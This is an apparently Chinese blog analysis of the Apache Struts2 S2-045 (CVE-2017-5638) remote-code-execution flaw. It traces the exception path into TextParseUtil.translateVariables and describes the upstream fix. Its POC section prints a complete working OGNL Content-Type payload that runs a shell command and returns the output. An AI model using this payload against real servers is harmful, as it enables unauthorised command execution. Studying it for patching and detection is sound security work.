最近052出来后,想起之前算是比较完整地分析过045,所以重新整理下罢了
0x00 漏洞描述
直接摘选cve的描述:
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type
value isn’t valid an exception is thrown which is then used to display an error message to a user.
0x01POC关键点
Content-Type =
%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
0x02漏洞分析
首先,根据漏洞描述,我们可以看到有几个关键信息:
- 恶意的
Content-Type
Content-Type
无效- 异常抛出错误信息
然后打开POC,发现确实如描述一样有异常信息抛出。
由于确实如漏洞描述一样,有异常信息抛出,因此初步猜测该异常触发点就是漏洞触发点。(FileUploadBase.java:948
)
接着就是根据异常跟踪审阅代码。FileUploadBase.java: FileItemIteratorImpl
函数
根据代码可以看出,抛出异常的原因是Content-Type不存在,或者Content-Type并不是以“multipart/
”开头。这符合漏洞描述的第二点,Content-Type 无效。由此可以确定该异常就是漏洞触发点。
进一步往上跟踪代码,在(PrepareOperations.java wrapRequest
函数),发现了另外一个判断点,Content-Type必须包含“multipart/form-data
”。
至此,再没有发现有其他关键的判断点。因此得出,若要触发该异常,从而达到触发漏洞的效果,必须要满足两个条件: - Content-Type中含有“multipart/form-data”
- Content-Type不以“multipart/”开头
接下来的就是漏洞如何利用的,或者说是如何达到命令执行的。由于抛出异常的代码是关键,那这一句代码应该是在所有的触发条件之后,也就是说,对于漏洞的利用,是处于这一句代码之后。那么对于抛出异常的代码来说,在它之后的就是异常处理代码了。因此,要理解利用漏洞的原理,就要对异常处理代码进行审计。
关键的代码中,抛出的是FileUploadException
异常,而该异常会被连续抛出,直至JakartaMultiPartRequest
中的parse
函数才进行捕捉处理,并且将异常交给了函数buildErrorMessage
。
函数buildErrorMessage
又将异常e传入了findtext
函数
最终来到getdefaultmessagereturnarg
函数,在这个函数中,将异常信息(defaultmessage
)传给了translateVaciabies
函数,异常信息中含有ognl表达式。
TextParseUtil
的translateVariables
方法是用于表达式语言评估的数据接收器。
这里其实就是st2-045的真正触发点。漏洞触发的原因根本上来说,其实是含有ognl表达式的异常信息,传给了TextParseUtil
的translateVariables
,造成了代码执行。
然后与最开始,从漏洞描述中得出的信息对比,发现1和2只是触发异常的方式,3也仅仅透露出异常会抛出错误信息,但没详细说是在执行的过程会有异常抛出,还是在抛出异常的时候,导致了漏洞的产生。
- 恶意的Content-Type
- Content-Type 无效
- 异常抛出错误信息
而046,网上一开是的描述是同一触发点,但不同向量。由于我的环境搭建失败,没有尝试调试,但根据一些网上的异常信息,可以得出,046与045的区别,就是在与抛出异常的位置不同,即触发异常的方式不同,但却是同一个异常处理。
https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a
这个升级后,异常处理函数中,调用findtext函数时候,没有直接传入defaultmessage参数,而是默认传入null值,使得会传入TextParseUtil的translateVariables的message不会必定不会含有ognl表达式,所以可以彻底防御该问题。
0x03参考文档
https://blog.gdssecurity.com/labs/2017/3/27/an-analysis-of-cve-2017-5638.html